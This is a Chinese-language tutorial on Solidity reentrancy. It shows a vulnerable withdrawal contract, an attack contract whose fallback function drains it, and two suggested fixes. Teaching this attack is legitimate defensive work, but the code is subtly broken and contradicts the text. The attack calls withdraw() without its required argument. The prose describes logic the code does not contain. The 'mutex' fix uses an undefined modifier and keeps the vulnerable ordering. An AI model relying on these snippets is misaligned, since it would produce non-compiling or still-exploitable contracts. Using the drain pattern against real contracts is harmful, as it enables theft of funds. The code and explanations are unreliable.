今天这篇文章,我们来讲讲solidity合约的重入攻击。那什么是重入攻击呢?重入攻击指的是合约A给攻击合约B转账的时候,攻击合约B重入了合约A,导致合约A里的余额被攻击合约B全部提走。那么,是什么导致了重入攻击,重入攻击又是怎么造成的呢,我们又应该怎么防止重入攻击呢。这篇文章,我们用代码来一一讲解。
首先,我们来写一份合约A,充当被攻击的合约。这个合约中,有一个withdraw方法,通过这个方法,用户可以提取合约A内的代币。
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
uint bal = balances[msg.sender];
require(bal >= _amount);
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
在合约A中,我们有一个deposit方法,用户通过调用这个方法将代币质押到合约内。我们看到还有一个withdraw方法,这个方法首先使用require检查当前的用户在合约A内的余额是否大于0,如果用户在合约A内没有余额就无法触发withdraw方法。接下来,使用solidity 0.6版本的写法msg.sender.call{value: bal}(“”)将代币转给用户。最后,将用户在合约A内的余额归零。
接下来,我们编写一个攻击合约B来攻击合约A的withdraw方法。我们先放一段代码,如下:
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
在攻击合约B中,我们有三个主要的逻辑。首先,我们使用构造方法constructor引入合约A的对象,通过etherStore这个对象我们可以调用合约A里的方法。其次,我们编写了一个attack攻击方法,在这个方法中,我们首先要往合约A中存入至少1个ether,之后,我们就开始调用合约A的withdraw提取方法。最后,我们编写一个回退函数,在这个方法中,我们首先判断合约A中的余额是否还有大于等于1个ether,如果有,我们就继续调用合约A的withdraw方法,直到把合约A中的余额全部提取完。
完成两份合约的编写后,我们开始来编译部署测试一下两份合约,并观察攻击的流程。
首先,我们编译部署合约A,并往合约A内存入2个ether。
其次,我们编译部署合约B,然后我们使用1个ether去调用合约B的attack方法。
最后,我们发现攻击合约B中余额变成了3个ether。这包括我们存入的1个ether,以及被攻击合约A中的2个ether。此时,合约A中的ether变成了0。
至此,我们成功的使用攻击合约B重入攻击了合约A。
那么,我们怎么防止这种这种重入攻击的发生呢?接下来,我们再往下看。我们先上一段代码。方案一。
contract EtherStore {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public noReentrant {
uint bal = balances[msg.sender];
require(bal >= _amount);
balances[msg.sender] -= _amount;
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
在这份合约中,我们优化了合约A的逻辑代码。首先,我们将账户余额被减去的操作放在了转账之前,这样就可以保证我们即使这个方法被重入攻击了,但是账户余额已经被减掉了,这样就避免了重入攻击的发生。这种情况就是我们要先改变状态再执行操作。方案一这种做法也叫做CEI模式。
方案2。我们使用互斥锁的方案。我们先上一段代码。
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public noReentrant {
uint bal = balances[msg.sender];
require(bal >= _amount);
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
在代码中,我们先定义了一个状态变量locked,这个变量初始值是false,并且,我们编写了一个修改器noReentrant方法,首先判断locked的状态为false,其次将locked的状态修改为true,最后再将locked状态修改为false。使用了互斥锁后,当遇到重入攻击时,就会先进入修改器进行locked状态的判断,这样我们就使用了互斥锁避免了重入攻击。
最后,告诫大家的是,如果我们不确定自己的代码是否有重入漏洞,不妨都加入一个互斥锁。或者在之后的版本中,直接引入官方避免重入攻击的库。另外,我们在转账的方法中,尽量用transfer方法,而不是用以上示例代码中的call方法来转账。
好了,关于重入攻击我们今天就讲到这里,喜欢的话,点个关注。